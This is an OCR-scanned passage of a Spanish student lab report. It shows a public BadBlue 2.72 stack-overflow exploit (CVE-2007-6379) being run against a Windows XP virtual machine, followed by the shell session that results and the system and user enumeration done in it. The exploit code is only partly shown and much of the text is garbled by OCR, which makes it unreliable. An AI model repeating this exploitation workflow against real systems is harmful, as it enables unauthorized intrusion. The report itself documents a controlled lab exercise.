/home/tello

HEE eSS SRS

use IO
(1($ARGV[1]))

l <victim> <por

LphaNum
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2.5 Preparacion de un archivo de analisis seguro (copia comentada)

/home/tello
badblue-272-seh.pl

/home/tello
+x badblue-272-seh.pl

/home/tello
badblue-272-seh.pl
#! /usr/bin/perl -w
http://aluigi.altervista.org/adv/badblue-adv.txt
https://wmw.securityfocus.com/bid/26803
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2007-6379
exploit for stack overflow in badblue 2.72

Jacopo Cervini acarogjervus.it

#
#
#
#
#
# Credit to Luigi Auriemma
#
# 22/12/2007

#

#

#

use I0::Socket;

if(1($ARGV[1]))

{

print "Usage: badblue-272-seh.pl <victim> <port>\n\n";
exit;

}




2.6 Conexion a Windows XP

/home/tello
. 192.192.192.12 80

+ Malicious GET request sent

Done.

+ Connect on port 4444 of 192.192.192.12
Trying 192.192.192.12...

Connected to 192.192.192.12.

Escape character is '"]°'
Microsoft Windows XP [Versien 5.1.2600]

(C) Copyright 1985-2001 Microsoft Corp.

C:\Archivos de programa\BadBlue\PE>ipconfig
ipconfig

Configuracien IP de Windows

Adaptador Ethernet Conexien de erea local

Sufijo de conexien especefica DNS : bbrouter

DirecciensTP. i e e e e e e e ce 19251925392
Mescara-de subred:: = n w n e e e e 299029502555
Puerta de enlace predeterminada : 192.192.192.

Adaptador Ethernet Conexien de erea local 2

Sufijo de conexien especefica DNS
Direccien IP de autoconfiguracien
Mescara de subred iz it
Puerta de enlace predeterminada

C:\Archivos de programa\BadBlue\PE>cd .. dir
cd .. dir
El sistema no puede hallar la ruta especificada.

C:\Archivos de programa\BadBlue\PE>cd
cd

C:\Archivos de programa\BadBlue>cd
cd

C:\Archivos de programa>cd
cd

C:\>dir

dir
El volumen de la unidad C no tiene etiqueta.
El nemero de serie del volumen es: 2490-270F

Directorio de C:\

02/10/2025 ©09:41 Archivos de programa
26/07/2025 ©09:34 AUTOEXEC.BAT
26/07/2025 09:34 CONFIG.SYS
26/07/2025 ©9:40 <DIR> Documents and Settings
08/10/2025 19:47 <DIR> WINDOWS

2 archivos @ bytes

3 dirs 5.022.138.368 bytes libres

Hlustracion 73 Ingreso a XP Y Badblue
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2.7 Comandos informativos en la VM victima (Windows XP)

C:\>systeminfo
systeminfo

Nombre de host: XP
Nombre del sistema operativo: Microsoft Windows XP Professional
Versien del sistema operativo: 5.1.2600 Service Pack 3 Compilacien 2600
Fabricante del sistema operativo: Microsoft Corporation
Configuracien del sistema operativo: Estacien de trabajo independiente
Tipo de compilacien del sistema operativo: Uniprocessor Free
Propiedad de: way
Organizacien registrada: way
Id. del producto: 76460-641-1927333-23836
Fecha de instalacien original: 26/07/2025, 9:36:06
Tiempo de actividad del sistema: @ deas, 17 horas, 4@ minutos, 1 segundos
Fabricante del sistema: innotek GmbH
Modelo el sistema: VirtualBox
Tipo de sistema: X86-based PC
Procesador(es): 1 Procesadores instalados.
[01]: x86 Family 6 Model 186 Stepping 2 GenuineIntel ~2587 Mhz
Versien del BIO VBOX =3
Directorio de Windows: :\WINDOWS
Directorio de sistema: :\WINDOWS\system32
Dispositivo de inicio: \Device\HarddiskVolumel
Configuracien regional del sistema: 0c0a
Idioma: 0000040A
Zona horaria: N/D
Cantidad total de memoria fesica: 1.023 MB
Memoria fesica disponible: 776 MB
Memoria virtual: tama¢o meximo: 2.048 MB
Memoria virtual: disponible: 2.008 MB
Memoria virtual: en uso: 40 MB
Ubicacien(es) de archivo de paginacien: C:\pagefile.sys
Dominio: GRUPO_TRABAIJO
Servidor de inicio de sesien: \\xp
Revisien(es): 1 revisien(es) instaladas.
[01]: Q147222
Tarjeta(s) de red: 2 Tarjetas de interfaz de red instaladas.
[01]: Adaptador de servidor PR0O/1000 T de Intel(R)
Nombre de conexien: Conexien de erea local
DHCP habilitado: Se
Servidor DHCP: 192.192.192.3
Direcciones IP
[01]: 192.192.192.12
Adaptador de servidor PRO/1000 T de Intel(R)
Nombre de conexien: Conexien de erea local 2
DHCP habilitado: Se
Servidor DHCP: ZAN DSRS0
Direcciones IP
[01]: 169.254.133.21

C:\>net users
net users

Cuentas de usuario de \\XP

Administrador Asistente de ayuda Invitado
SUPPORT_388945a0 wayner_antonio_moya_
Se ha completado el comando correctamente.

[lustracion 74 Informacion XP
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CONCLUSION

En esta practica se realizd, dentro de un entorno virtual controlado, el proceso completo de
camuflaje de archivos usando Camouflage en Windows XP (probando portadores JPG, PNG,
PDF, DOCX, XLSX y TXT) y el analisis defensivo de un servidor BadBlue 2.7 desde Kali Linux.
Se identificaron y documentaron los pasos operativos y las herramientas empleadas (Camouflage,
Adobe Reader, VLC, curl, nmap, searchsploit),



REFERENCIAS
1. Kali Linux Documentation. https://www.kali.org/docs/
2. Morales, R. S. (2025). Quidbo.
3. Tello, C. A. (2025). Quibdo.

87


https://www.kali.org/docs/

